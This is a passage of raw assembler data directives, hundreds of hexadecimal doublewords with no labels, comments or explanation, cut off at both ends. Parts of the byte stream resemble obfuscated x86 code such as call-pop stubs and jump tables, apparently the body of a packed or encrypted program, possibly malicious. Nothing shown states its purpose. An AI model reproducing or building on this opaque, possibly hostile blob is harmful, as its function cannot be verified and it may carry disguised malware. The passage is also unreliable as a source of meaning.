0B1958B74h, 81061E00h, 2B1471F7h, 61BD8942h dd 57061E22h, 0E2816657h, 8F5ADC2Ah, 8CB60604h, 0DE9h dd 93B2A600h, 2654DC95h, 54581040h, 0E88169B2h, 417BB5E5h dd 0D9D0160h, 0E9061E02h, 12h, 16051AC7h, 0EF93AC5Dh, 0ED1DA093h dd 0C7D2298h, 8161B1EDh, 7BB5E1C0h, 0CDBD8941h, 81061E14h dd 0FF959CF8h, 7B850FFFh, 33FFFFFFh, 1E31D18Dh, 2DEB06h dd 0D0000000h, 9CBFAE0Dh, 0F9DFF231h, 88A7A5ADh, 0FB75528Ch dd 9CBE00B7h, 7EE5ADF9h, 9D8993h, 67268168h, 3B2BD14h dd 13E5C229h, 0B5FE9h, 89AA6800h, 0E90623h, 68FFFAF7h dd 6238ADCh, 0FAF6F6E9h, 8C2968FFh, 0ECE90623h, 68FFFAF6h dd 6238CCEh, 0FAF6E2E9h, 8D8568FFh, 0D8E90623h, 68FFFAF6h dd 6238E99h, 0FAF6CEE9h, 8F5468FFh, 0C4E90623h, 68FFFAF6h dd 6239167h, 0FAF6BAE9h, 927C68FFh, 0B0E90623h, 84FFFAF6h dd 0B2CD42FFh, 0DBF66B0Ah, 8239859h, 304BC061h, 3475EA8Fh dd 0F3B63742h, 22DF637Eh, 49EC92ADh, 6F36B9D4h, 485EFAFAh dd 3F485A9Ch, 542D05BAh, 0D2DE061Ch, 33783924h, 0FF74C584h dd 5B99CBE1h, 81BD3F48h, 14A796Bh, 7198DD33h, 0EEB73A53h dd 0C4DB5E79h, 0EEAB18DFh, 6D8BB25Eh, 6B6AFBD6h, 2386F87Ch dd 8C4CC99Fh, 4123D271h, 22051E8h, 687C92CAh, 0EE33018Dh dd 49FEFAA9h, 0D3392516h, 0D457708Eh, 0FA7D980Dh, 7E041D3Bh dd 7120E1C3h, 6E03368Fh, 7EFF1850h, 91100CBBh, 3F32FC19h dd 0F9DB9A22h, 0E0041A38h, 7626BFF1h, 9E480A31h, 2EE602C4h dd 9A9A42Ch, 38C90000h, 4FED087Dh, 921631A6h, 0A4435ED3h dd 0C86D88FDh, 7D6FB025h, 0B328CD72h, 0DA4F0A98h, 57A3FBFh dd 299E47EAh, 6D778D29h, 0E93F485Bh, 0F0735C34h, 33B64F31h dd 2CC3FD72h, 9FDEC162h, 0B77625CBh, 9BD3F182h, 5638FD82h dd 6FEAE695h, 0D13F434Ah, 0D9F2AA8Ch, 0E5E19055h, 33070FFBh dd 0DE6079B1h, 0A3E96C1Bh, 0E3933634h, 2CEF87h, 0B3390000h dd 0B9CFED86h, 3F42FE4Ch, 3CF989A2h, 89A995Ah, 0FBAA6B4Dh dd 0CA604287h, 3306A816h, 44B3F996h, 87E3FF46h, 0D8FFh dd 0F0734900h, 31B64F31h, 4EF18A6Ch, 892CC5A7h, 825B73E8h dd 3B3924D6h, 0F8EC02B8h, 0D33924CEh, 0EFB0924Fh, 0F10F367Bh dd 0CF41A3B9h, 0D0153924h, 0FEDE353h, 18C7A009h, 0A85069A3h dd 0B7662709h, 8A6C35B8h, 4D6B0831h, 42AC9237h, 0D4498E3Fh dd 984C629Ah, 0BE330692h, 2E0BCA79h, 0B32E47EFh, 759C2CDCh dd 212FC057h, 53788D1Bh, 0AA7086A4h, 18392728h, 1B9CB5D3h dd 0EA003856h, 2CE5CFFAh, 0FBBE3F5Ch, 82315819h, 0A84DF20Dh dd 28A1FAE6h, 3CC4C6ECh, 877h, 0DA4F0A97h, 37839BFh, 289D44E8h dd 52C76E0Dh, 7EF3B637h, 0BF404B3Dh, 0D86A85FAh, 0E98DA81Dh dd 31B4CF44h, 5FFBFB70h, 485C9B49h, 2E06BB3Fh, 0BA2FF273h dd 20C16780h, 2CDB9A21h, 76EB8A2Dh, 0F686B3A2h, 0D85E725Fh dd 0F0B1C45h, 39252FD5h, 21C06481h, 0B978FBFAh, 0CFDD7492h dd 61DABF38h, 0B3C9E796h, 3F43F152h, 891F0146h, 33079A57h dd 6D861D55h, 20EBDD94h, 6E501599h, 54D786ADh, 0FAA19F0Eh dd 0FB5A87E2h, 3E000000h, 64089D25h, 0F31ADBBDh, 0E9A15011h dd 4F31F073h, 8A6C31B6h, 24D6E9F4h, 9051D439h, 0B47D001Bh dd 5DC079D2h, 0D948856h, 8EACD369h, 0DC081E56h, 7A3924CCh dd 3F8A8635h, 373F42D9h, 0BFFBE9FFh, 165B3306h, 90AEF367h dd 0EDD6F577h, 0FF81DD5h, 61D685ACh, 42E6B386h, 5F02A4A3h dd 7795BC7Dh, 6C1BDA5Eh, 0C8DE164Eh, 3306A01Ch, 846613AFh dd 5B0A4FC3h, 2748AA5Fh, 93B1F639h, 0F6BF425Bh, 0E5F6EAFAh dd 1A306C2Ch, 2CE5F6CAh, 7120478Ch, 9AB53A53h, 354BEA7Ch dd 2CE685AFh, 17E562A7h, 0F1668DB2h, 0EB9F20B7h, 92F40EEBh dd 0C643E4E3h, 0DB9C7E27h, 0A00F2B4h, 0CACCEC29h, 72A42h dd 0FCB94A00h, 25CC6C87h, 521395B0h, 7A3BC2DDh, 0A045EA05h dd 0EDF8EA2Bh, 1530A548h, 405BD08Dh, 6B86FBBEh, 0B4B429C8h dd 5EE20218h, 0BF743F48h, 2FF273E7h, 551C9FBAh, 0BD540CE0h dd 54D97AA9h, 221B9801h, 97F3503Eh, 3CBFBE6Dh, 77FA9375h dd 0BF2139AEh, 44392577h, 6001A4F5h, 55051B39h, 433F4900h dd 0B087982Ah, 0AC051A09h, 11D2B4DBh, 8BA9EE62h, 0B126CF72h dd 0BB293F77h, 9B33029Ah, 5A8A756h, 18217A5Ch, 0F6273D5Bh dd 2839209Dh, 0C79D9F91h, 0E69533CBh, 0A16B2D72h, 6DEC279Ah dd 685E36Bh, 1CA50000h, 2BD1EC61h, 76FA158Ah, 981F3AAFh dd 0A44964D9h, 594B8C01h, 8F04A94Eh, 0BE33EE74h, 0E95E03A3h dd 158A2BCEh, 81637915h, 0D53F485Eh, 0BD544820h, 6A8EE3A0h dd 828130CBh, 0BB5436FFh, 16977938h, 0E3FCCD13h, 0F9BA9C45h dd 9A84B4Ah, 77BEBC94h, 0C90181C5h, 252431B3h, 31E02539h dd 789h, 9884D300h, 52000001h, 0DE061C54h, 0CE3924D2h dd 24D32CB8h, 71E52A39h, 5F817D2Ch, 0A43924D2h, 15CFE595h dd 413924D3h, 0A1B7D5FCh, 3F485BAEh, 18DD617Eh, 37BAD3F1h dd 5BDEF96Eh, 0DA5FB89Ah, 0B8657B99h, 10391F4Dh, 18F509CBh dd 0BFC1EC26h, 5CE37h, 0A855EE00h, 0D1901833h, 0F6BF415Ch dd 1EC76681h, 44E98EA9h, 919C8ECFh, 0B9D449ECh, 0DCF76C29h dd 722975Ah, 4848BD64h, 604E96ACh, 53083F48h, 0A73B547Bh dd 0A85718FAh, 7D5F06A9h, 20C841E4h, 0B7DE9F81h, 0F5BC3CD5h dd 31F47A13h, 85CBCE4Fh, 7BC1C4ABh, 0A7F26C9h, 0C5D43432h dd 293F7781h, 3924C6BBh, 0FFA7569Bh, 7, 0D98449h, 54520000h dd 15F7BA3Bh, 0C4203654h, 923924D2h, 5ADF9E4Dh, 5CE2FB19h dd 0D8F6B799h, 24D322C2h, 40EF3439h, 5B580C22h, 63FE3F48h dd 0B30B59FFh, 203E6548h, 8712D2E8h, 0FF443301h, 96193250h dd 0BC3F5ACFh, 86FCE8FEh, 155A3301h, 86B30CEEh, 8EB9CFEDh dd 0E439250Fh, 0FF4E96ACh, 0C3082CDDh, 4E64A014h, 2CDDFE96h dd 36547BC0h, 7F039A1Dh, 0BEA045EAh, 33F4D6FDh, 1257EE0Ch dd 4FA1F893h, 203BB05Fh dd 9DB6D49Dh, 0B2735518h, 71C82103h, 0D5CCE200h, 0FB32FC0Fh dd 0BAA4F4B6h, 9EA0E602h, 4BA16h, 8C49DA00h, 0B57CFC17h dd 0E2832540h, 0AAB526Dh, 30F57A95h, 7D887ABBh, 0A5C035F8h dd 0D0EB601Dh, 0FB168B2Eh, 4444B978h, 615292A8h, 4F043F48h dd 14D8477h, 54520000h, 14F6BB3Bh, 54E5A453h, 2103A647h dd 9250420Ah, 0DA015BCBh, 0E57F95B3h, 713F4874h, 3FD60E2Ch dd 7DAB49DFh, 0B5B463D6h, 0E3FE7332h, 68D34B40h, 0C0BD00AFh dd 2D437B99h, 33014AB7h, 0C9AB5A9Fh, 8AA8C970h, 24D2D374h dd 0E6044939h, 168B2ACDh, 9BB978FBh, 3635E082h, 6042F1ACh dd 23413207h, 9175418Ch, 0AEC4AC35h, 2CDD0436h, 5B4DB20h dd 17D0D1E7h, 0BB0032FBh, 1C1B1F9h, 33BBBDE6h, 3FFh, 62D7821Fh dd 8B00A147h, 0B025CC70h, 0DA4F1695h, 67B3EBFh, 27C8D3C5h dd 50F20D82h, 911530A5h, 0B93C57CCh, 0E78383F8h, 486213D1h dd 0B68E433Fh, 4F31F073h, 0E5FA7E97h, 7720F24h, 0BC9EC502h dd 0AA4D4CFBh, 53D4ED0Bh, 3CEBAC8Eh, 90D6D95Ah, 259A5BDEh dd 0C5C14F4Dh, 0F1FB9281h, 0DC942152h, 60D17928h, 1B000000h dd 0E0F686B3h, 3924D304h, 0D35292A8h, 0BF043924h, 0C1DF064Bh dd 25CC7089h, 6F758B43h, 0E73924D2h, 0D0CC7BA2h, 3F431FC8h dd 5B93B1F6h, 46F5A042h, 87FCA547h, 686726Fh, 11D05333h dd 3FA5BBF3h, 17330687h, 93AE23D2h, 19325011h, 2DEED095h dd 866EA2B0h, 1FCE8E08h, 339B53Dh, 54830000h, 0D2DE061Ch dd 0B8CE3924h, 3924D32Ch, 2C71E52Ah, 35F87E7Dh, 6E37BA53h dd 8ACDB950h, 41097B7Dh, 4BFABB42h, 7938BBD6h, 26C6DF97h dd 0AA1DAC29h, 8CB3D2EDh, 0C86D11AAh, 4FFE25E6h, 8F04AD50h dd 0F9B83C55h, 0C5AE8B4Ah, 8AC891A7h, 37CE3F43h, 0D334C846h dd 0B479FD3Dh, 256ADE8Dh, 0D233AD43h, 0DC793307h, 0D1292796h dd 4CE287E2h, 0C6000000h, 0B96815ADh, 1586B301h, 55EED08Dh dd 703113D2h, 0CC042249h, 8A6C35B3h, 0E71E1AC9h, 0B13F42FDh dd 0B9D28A6Ch, 0C98A6C29h, 9F8124CAh, 0AD332FDEh, 0FF3306A7h dd 6B0AAEC7h, 0A849F089h, 94FD281h, 0E3FF9C9Ah, 0CA5587h dd 739F0000h, 974F31F0h, 8837FE7Eh, 0C769E489h, 0DC03A246h dd 0FB7E97B5h, 10A98B3Ah, 49E2C46Dh, 728AFFA6h, 3924D66Bh dd 9106AF52h, 5032F376h, 34FD7F98h, 0FE73C685h, 0EF8FA8E0h dd 5A9F9B4Ah, 263F42DCh, 9B326CE1h, 0AB8C29Ah, 26E594D0h dd 2A405E13h, 39269C57h, 0A066FD39h, 0BFD4F001h, 0F568E8Ah dd 0F2752CE5h, 1C905133h, 5A92B0D7h, 17F9BC41h, 7A8A756h dd 2DD2ED62h, 7150EB0h, 26DF677Ch, 71335A81h, 0EC27FB33h dd 0ECB53D3Fh, 0C000001h, 3A55CA77h, 637EF3B2h, 90AB20C1h dd 0B8D348E9h, 0BCFD7237h, 7B3EBFCAh, 0AA57EB06h, 0D1941A35h dd 0F7BE415Ch, 0D0E68282h, 3F486414h, 73B58D42h, 9FBA2FF2h dd 0CE0551Ch, 0CFED86B3h, 9E0E0097h, 6C5BEE7Ah, 24F37470h dd 0EE9DE239h, 1F4BBAD0h, 8AA33F43h, 1D9140E5h, 0A73EF6D8h dd 8125D4E3h, 0BC39FADCh, 4BD3F8Dh, 0DF1C428Dh, 0F0EC9BC2h dd 33067EF0h, 35B851D3h, 0CA63456Ch, 5A08223h, 0CE6E2066h dd 5D844527h, 0F564AA47h, 87E428F7h, 0DA9B213Ah, 5D962D5Dh dd 0A7562002h, 0ACFFh, 0F0734900h, 31B64F31h, 29501194h dd 27BDD30Bh, 2F3924D3h, 0A1593BEAh, 9342E788h, 24D74697h dd 2DF47739h, 831A9DB8h, 0F8163DE4h, 879D5DDFh, 3924CE5Dh dd 0DE8DB4F9h, 0DD96A3FCh, 6DDA28BFh, 493C39AEh, 3DE4C166h dd 0CD7CA301h, 436099AFh, 0DB203F42h, 0C5AE8B66h, 0D29191A7h dd 0FC413926h, 7D20C5DEh, 0A548ED08h, 2851D3E3h, 29B1B3ECh dd 0D7h, 3AAF6AF7h, 63D8991Fh, 88FDA448h, 0B227CE6Dh, 0DE531697h dd 1FA0AB9Dh, 38CAE55Ah, 49ED087Dh, 91142FA4h, 0BF5B5BD0h dd 48653BA9h, 8E661B3Fh, 0BA2FF273h, 0E0551C9Fh, 31F0730Ch dd 7B33B64Fh, 24D27F65h, 859BD739h, 3924D25Fh, 648BB2F7h dd 4C2514EFh, 1900972Eh, 0AD31B3C9h, 0E0253925h, 12CE8E63h dd 0F40D4563h, 0DCEB071h, 0B70A625Eh, 3F5C3F48h, 0EFD1F8B9h dd 83841E37h, 6EE995A9h, 5C0B3229h, 0A61BDA5Dh, 6749E88Bh dd 0C75B57D1h, 0CE141148h, 63D8991Ch, 1AFCA548h, 0D0142A62h dd 861D3AAEh, 3CC441h, 0F7CE310Ch, 3A24948h, 3CE58821h dd 223DC15Ah, 9A3FFE17h, 0CDAFD619h, 2C064C49h, 3FF13758h dd 6580F5BCh, 0B94123C2h, 3, 73A77F87h, 0B85133EEh, 0F18A6C35h dd 2DC6A84Dh, 6D06E895h, 0AA4325C8h, 0E57E6005h, 24BD9F46h dd 66FFE180h, 3D1FC6h, 49A468h, 241C8900h, 5E08950h, 4 dd 42Dh, 24048700h, 241C895Ch, 5E08950h, 4, 42Dh, 24048700h dd 2404895Ch, 88EF6855h, 895D0623h, 0EC835DEBh, 24248904h dd 4240481h, 58000000h, 0DA895257h, 895AD789h, 0FF5F0878h dd 83582434h, 1C8B04C4h, 0E6895624h, 4C681h, 0C6830000h dd 24348704h, 0EBB5E95Ch, 5CA5FFFAh, 9E000C1Ah, 474CD75h dd 239378B8h, 0FFC50306h, 800067E0h, 49BAB40Bh, 9E3BEE69h dd 87E1A249h, 97CD1276h, 1BFAD562h, 0FD168E0Fh, 932D0E73h dd 78E04377h, 0E554767Ch, 0AFCD166Dh, 7D338828h, 4E8D5C01h dd 9AE22F1Ch, 29FA9C12h, 3FA22F42h, 603A5C51h, 26C9042Eh dd 5724E140h, 0F6013D1Dh, 0B140900Ch, 9807EE69h, 49C58660h dd 5A676C3Dh, 116EB79h, 258D8D63h, 80062395h, 8D895ED0h dd 61E2375h, 6860Fh, 8D310000h, 61E0215h, 324D85C7h, 6C60061Eh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0B34E19C3h, 94C68E1Dh, 0E99D1B4Bh, 5, 0A4E71352h dd 61852B00h, 0C7061E22h, 1E316985h, 6, 659D8B00h, 0FF061E04h dd 1E2931B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 524FAEB0h, 1D552DBBh, 95FF5B04h dd 61E16B9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 87C35242h, 5A7E10F6h, 6A6F1Dh, 26C195FFh, 0C08B061Eh dd 7F260EEBh, 81B48019h, 41E02F30h, 0AA746B83h, 6AC08Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 667FC0C3h, 9C80EB81h, 0A66ABA66h, 83D7BF0Fh, 1E1D79BDh dd 9750006h, 2B25BD83h, 7400061Eh, 8B535019h, 3FCB8C0h dd 85890000h, 61E0CE9h, 0AC3A9D8Dh, 0D3FF0620h, 0BD83585Bh dd 61E2B25h, 50177400h, 3FCB853h, 85890000h, 61E0CE9h dd 0A9299D8Dh, 0D3FF0620h, 6A585Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 2865B9C3h dd 0DE94A3Eh, 3000000h, 0BB96AD83h, 0B8182578h, 0B9943CF3h dd 6AE5B7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 2AF1A5C3h, 0FB232469h, 38E0F5Ch, 66000000h dd 0C08BD68Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 52C35646h, 245ABF22h, 0DF86F39Ah, 5BC38102h, 66377D5Fh dd 8352FABBh, 1E272DBDh, 840F0106h, 4Bh, 0B96078B6h, 5D014DDh dd 6152D580h, 1F49BD83h, 0F00061Eh, 3285h, 51BD8300h, 61E33h dd 0AC840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 859F2EC3h, 6681F10Ah, 0E958A2BAh, 3C8h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 42C35343h, 469CB89Bh dd 6120C96Bh, 0E9148ABBh, 98B302h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 355FC351h, 0E6AB166Bh, 0D0D28166h, 0A2DB814Eh, 6A0DE0B5h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0CF93C357h, 0B8B21D4Fh, 8076FB2Dh, 0EB785EC7h dd 58D951F1h, 15E07D53h, 1FD543B8h, 5E35C014h, 5EAC2E60h dd 3F7C635h, 32629BF6h, 1A74C211h, 5EEFC211h, 0B38C635h dd 0A1BCF0F6h, 0B5FACE5h, 5EAFC5DDh, 9D8AE635h, 7A874F68h dd 7AB14731h, 5EFADD31h, 9D288335h, 725EE2EDh, 0AAECB160h dd 5EA82F65h, 0DA6CC635h, 0F95F8875h, 0D5939C93h, 5AA02FEAh dd 5E17C635h, 5EBD2E63h, 7FC635h, 2A2698F6h, 1A56C211h dd 5EFFC211h, 8B3C635h, 56120AF6h, 0F77DC635h, 3FE73171h dd 0B72B289Bh, 5EAFC63Ah, 876F087Ah, 39D1ABDBh, 75D3C7C1h dd 51B6975h, 5E7D2E60h, 0DFE3C635h, 7DC80CD8h, 38784D33h dd 0FA4F35B4h, 0D53D4D53h, 5EFD2FF5h, 9052C635h, 0FEAA1F36h dd 0E2E2B44h, 5E5FCFDCh, 50EF8235h, 94A41268h, 0B77BD410h dd 5EF5C63Bh, 0F2E75F85h, 31C93066h, 25565808h, 5F503BC8h dd 3451E279h, 5D3F9435h, 7EEBC635h, 0D7AF056Fh, 0DFFEE261h dd 4379E271h, 1CBEC635h, 0AB3D0567h, 3D2CBF7Fh, 1B44A4D4h dd 38B31FBEh, 52F01EBEh, 0E8FAC637h, 0B7754D35h, 5EBEC63Bh dd 0AE472BA8h, 0EF1C645Ch, 0A154F352h, 0D58D5C98h, 591C3A7Dh dd 74FAC635h, 478325E9h, 5F067A04h, 345FC635h, 5D479635h dd 7ED7C635h, 0D7B3056Dh, 0DFF1E271h, 4AFEE271h, 1E7DC635h dd 51550565h, 5E5FD7B7h, 5EA72E35h, 9E64C635h, 5C440D9Ch dd 0D5931432h, 0D59C9CEDh, 80F657EDh, 5EB32E65h, 0E658C635h dd 35EBAB9Dh, 43935952h, 0D5E8889Ch, 51649CE3h, 5EFAC1BFh dd 5FF1C935h, 0ABBEC635h, 34864A53h, 5D479535h, 7ED7C635h dd 0D7B0056Eh, 0DFF1E269h, 44FEE271h, 1D7DC635h, 72940566h dd 0F6E271D2h, 8244478Dh, 0A8EFA8F3h, 0DBE4C2F4h, 5EF5C6EDh dd 0B6ABC65Fh, 5E7DC636h, 77D9F15h, 5A7B8ABCh, 5A8B82B4h dd 5ED7C62Eh, 0EC289774h, 24543411h, 51A67A8Fh, 5E7DC4BBh dd 0A2727435h, 9CDEA06Ch, 672FF3ABh, 5452C95Dh, 34EBC634h dd 5D1D9135h, 7EFAC635h, 0D722056Ah, 0DFBAE249h, 465BE271h dd 19AFC635h, 43C30562h, 0D5C6928Ch, 8D75C74Ch, 5E054760h dd 51FDC635h, 5EBE1EB7h, 5E532F35h, 0AD9AC635h, 0C8B12B9Eh dd 0AD3E4FBBh, 0DB32DFFEh, 58D950F2h, 5E7DC634h, 5EBE11DCh dd 0B5FAC35h, 5EAFC5DDh, 9D8AE635h, 7A874F68h, 7AB14731h dd 5EFADD31h, 9D288335h, 584F8FB8h, 38B7C5BAh, 9718C955h dd 5ED7C0DCh, 91C04535h, 3F1A3CC2h, 5EFA46DCh, 5E752E35h dd 9272C635h, 0E212052h, 0DFC934A4h, 40A2DD7h, 8239476Ch dd 38A156D5h, 0A1F1BFB6h, 5E26423Ah, 5ED4C635h, 5E5C2E60h dd 38FC635h, 325E9BF6h, 1A6AC211h, 5EE9C211h, 0BBFC635h dd 0EE8E2AF6h, 7B399B26h, 0E5391C38h, 3EF8D8E7h, 3F3E0DB5h dd 996E016Fh, 5FF3E5A3h, 34FAC635h, 5D959735h, 7EBEC635h dd 0D706056Ch, 0DFABE279h, 4BD3E271h, 1FEBC635h, 0CC840564h dd 0E8244D53h, 0B62C8E10h, 5EBEC625h, 0D3D690B5h, 94B9FE12h dd 0B7B69CDFh, 74979606h, 5EF5483Ah, 5A0C635h, 0B4672B8Ch dd 713B4B74h, 0D359E5A9h, 7D354688h, 2A2FFD33h, 8FE4F632h dd 0AB1E81FCh, 947BA0C0h, 86F6645Ch, 79937BB6h, 515EC02Bh dd 5EAF8AB1h, 7E154635h, 41A27BB6h, 51F5C02Bh, 5EFAFAB0h dd 0D7DAC35h, 5EBEC5DDh, 9D04E635h, 7AF34F6Eh, 7A934731h dd 5EEBDA31h, 9DA68535h, 0E587CD40h, 0AE1AC0ACh, 5A04A0DBh dd 380D75C5h, 0E32C15BEh, 58C9F564h, 456FC935h, 0D4F5C635h dd 5E002FC1h, 5595C635h, 7DBEC635h, 0A7BEAEE8h, 0EB17AC2Ch dd 0E9D82995h, 0E3689DECh, 58EBE118h, 0D27FC934h, 347DC635h dd 5D569535h, 7E5FC635h, 0D7F4056Eh, 0DFD3E269h, 4BEFE271h dd 1DF5C635h, 24F40566h, 5E714C3Ah, 5957C635h, 215FC635h dd 412D4FE0h, 348A2DCDh, 5D039135h, 7EF5C635h, 0D7A5056Ah dd 0DF79E249h, 4BBAE271h, 195FC635h, 0E8EE0562h, 88806D8Eh dd 518B0569h, 5EF5C4B9h, 0B6A29635h, 5E7DC624h, 9A4162C1h dd 0B09721Ah, 2324182Ch, 148AE0Eh, 0FB2047A2h, 1AB9FF6h dd 5EA02F54h, 0DF1DC635h, 578E69C5h, 99DEA019h, 3CE67A6h dd 0B684C65Fh, 5EEBC636h, 5369D15h, 5ADE9ABCh, 5A5982B4h dd 5EBEC62Dh, 6C9C9576h, 92D52DF6h, 5ED1423Ah, 846AC635h dd 565B7AB5h, 0DFAACFAh, 5E7DC5DDh, 9DE5E635h, 7A034F6Eh dd 7AEB4731h, 5ED7D331h, 9DB88535h, 0D9433F5Bh, 0C9E47BB8h dd 0D3F0C016h, 589D5DC9h, 6403DB8Dh, 0CF2AF54Eh, 75D1D823h dd 2B8C07FAh, 4B74B467h, 0E5A9713Bh, 4688D359h, 0FD337D35h dd 0F6322A2Fh, 81FC8FE4h, 0F305E983h, 0C7BD83A4h, 62396h dd 8D8D0D74h, 61E4CB8h, 1B8h, 40E1FF00h, 88E0Fh, 8B0F0000h dd 2, 0E883F08Ah, 52006A2Dh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 402B2601h, 0FAF6E1AFh dd 0D820F18h, 0E9000000h, 8, 14A29061h, 6FA97C25h, 6AC08Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 20E86DC3h, 80AAE956h, 0C280F08Ah, 79BD830Dh, 61E1Dh dd 0BD830975h, 61E2B25h, 50197400h, 0B8C08B53h, 3FCh, 0D198589h dd 9D8D061Eh, 620ACA1h, 585BD3FFh, 2B25BD83h, 7400061Eh dd 0B8535017h, 3FCh, 0D198589h, 9D8D061Eh, 620A942h, 585BD3FFh dd 38E0Fh, 8B660000h, 52006AD3h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 4A32DD5Dh, 0C08BF2B2h dd 15CE9h, 551D3B00h, 4D49C1F0h, 5F5AB196h, 54543B0Ah dd 5754F853h, 5C5A930Ah, 77739F53h, 25268E3Ah, 5272353h dd 0B17B79C4h, 62B49D60h, 13168752h, 13179753h, 1316DF53h dd 1316EB53h, 1316F753h, 1316FB53h, 1316D253h, 1316FE53h dd 13167753h, 1316BF53h, 606F8C53h, 137B8A27h, 7C64A773h dd 60659E30h, 1316FD0Eh, 1316FE53h, 13167F53h, 1316BF53h dd 1316DF53h, 1316EF53h, 1316F753h, 1316FB53h, 1316FD53h dd 1316FE53h, 13167F53h, 1316BF53h, 1316DF53h, 1316EF53h dd 1316F753h, 1316FB53h, 1316FD53h, 1316FE53h, 13167F53h dd 1316BF53h, 1316DF53h, 1316EF53h, 1316F753h, 1316FB53h dd 1316FD53h, 1316FE53h, 13167F53h, 1316BF53h, 1316DF53h dd 1316EF53h, 1316F753h, 1316FB53h, 1316FD53h, 1316FE53h dd 13167F53h, 1316BF53h, 1316DF53h, 1316EF53h, 1316F753h dd 1316FB53h, 1316FD53h, 1316FE53h, 13167F53h, 1316BF53h dd 1316DF53h, 1316EF53h, 1316F753h, 1316FB53h, 1316FD53h dd 1316FE53h, 13167F53h, 1316BF53h, 1316DF53h, 1316EF53h dd 1316F753h, 1316FB53h, 1316FD53h, 1316FE53h, 13167F53h dd 1316BF53h, 1316DF53h, 0DD870853h dd 167FE956h, 74680000h, 0E90623A0h, 0FFFBA5F0h, 23A17168h dd 0A5E6E906h, 6C68FFFBh, 0E90623A2h, 0FFFBA5DCh, 23A33168h dd 0A5D2E906h, 468FFFBh, 0E90623A5h, 0FFFBA5C8h, 23A64068h dd 0A5BEE906h, 3268FFFBh, 0E90623A7h, 0FFFBA5B4h, 23A7D068h dd 0A5AAE906h, 2568FFFBh, 0E90623AAh, 0FFFBA5A0h, 23AB0668h dd 0A596E906h, 0CF68FFFBh, 0E90623ABh, 0FFFBA58Ch, 23AC5E68h dd 0A582E906h, 9968FFFBh, 0E90623ADh, 0FFFBA578h, 23B28868h dd 0A56EE906h, 6168FFFBh, 0E90623B3h, 0FFFBA564h, 0F848C5A7h dd 0FC4CB1A7h, 0FE4EABABh, 353ACADh, 454A3B2h, 0C98CC53Dh dd 0DE8DDE2Eh, 0C790E131h, 0D793E434h, 4BC8EA3Ah, 0AE64279Ah dd 2A976F1Ah, 0EE7D54F3h, 5883BF21h, 1C8DFBE5h, 673E6F2Dh dd 6FA40603h, 0ACBE0EFBh, 14B3CC7Ch, 0BEADDC0Fh, 6372BB0h dd 93939755h, 95F7B51Ah, 93691F86h, 757A151Ah, 294C2A82h dd 60699AB9h, 44F4ED7Ah, 6DE6E7E3h, 99000000h, 9D4F1CF3h dd 0A4C15FDFh, 57B9115Fh, 0A652EA1Bh, 14A85972h, 5C1A93E9h dd 2C45B2A5h, 939F007Bh, 3A92501Ah, 9F52C9D8h, 41161A93h dd 381F54B6h, 3E2C61C3h, 0B7336FD1h, 85364E34h, 1A939F1Ah dd 35449C5Ah, 353A4A30h, 4DB96B5h, 708CBDCFh, 0E7E29D77h dd 0D639CDD2h, 0E544FC87h, 0BFACB4h, 0AAAF0000h, 0D88205BEh dd 0A796C7A7h, 8D3BAFBBh, 598FCF1Fh, 295EC018h, 7087D22Ch dd 187AD20Eh, 288A87E3h, 4A9A77F3h, 8DBC731Fh, 40C9A11Ch dd 3ECB9FF0h, 0FB0B4E25h, 16479F5Ch, 31C0382Eh, 5CC44882h dd 75F64766h, 0A4FC389Ah, 0DF8ADA8Bh, 0CCA1A93h, 97EAABCh dd 93CEE558h, 176F2D1Ah, 0CB3027FEh, 5DFC2D69h, 0B3620FACh dd 748D4B1Ch, 9F58FED5h, 39BE976Eh, 3ABD98E9h, 52834B7Fh dd 0C816DE6Fh, 13BBh, 98E82547h, 9CEC1147h, 9EEE0B4Bh dd 0A3F30C4Dh, 0A4F40352h, 292C65DDh, 3E2D7ECEh, 273081D1h dd 373384D4h, 0EB688ADAh, 0AE5BC73Ah, 0CA370F1Ah, 0D5D9ABBh dd 1161AEBCh, 1A0EFAA8h, 0D0CC5001h, 46041A93h, 0D06ED5E4h dd 5F641A93h, 29F5EE7Bh, 0EFE7E7E3h, 9A000000h, 62AFBBh dd 0B6D8ACBh, 8DFF4EFCh, 78DFB61Ch, 0B4E52183h, 0CD8B8DDDh dd 0BE99CE30h, 439BD739h, 0F77DB5C4h, 56AEADB5h, 5CB5B506h dd 14EA6C43h, 0FD5FB744h, 0B2A890C1h, 0E2B9D246h, 0E01C7E89h dd 115F10AFh, 4F1A9393h, 0F92F4191h, 3785364Fh, 351CB322h dd 0C38AC150h, 67F2299Ah, 0C7E03890h, 0D39866F0h, 429AD638h dd 0AD287DE0h, 0E15316F6h, 5CBF7089h, 9410B225h, 2F06A5D6h dd 0E1B8D126h, 0E5218374h, 0EEC5DEB4h, 0CA7B946Bh, 10B22557h dd 0D9B0E19Fh, 20D7827Ch, 80C70DC8h, 7E466F53h, 12BE30h dd 0E5224A00h, 0E7144495h, 0E7104697h, 0EC134697h, 0ED0A4B9Ch dd 255ED69Dh, 2677C730h, 297ACA45h, 2879C92Eh, 5375C542h dd 5ABA25D6h, 22FA1AAEh, 5D9ABBB5h, 0A0AEBC0Dh, 8DFB8CEFh dd 0ED06C41Ch, 8DFBC13Ch, 0FB53111Ch, 1CF342ABh, 0BA91C23Dh dd 0C0F557B0h, 70EB9CAAh, 0C01C8DFBh, 415AAA02h, 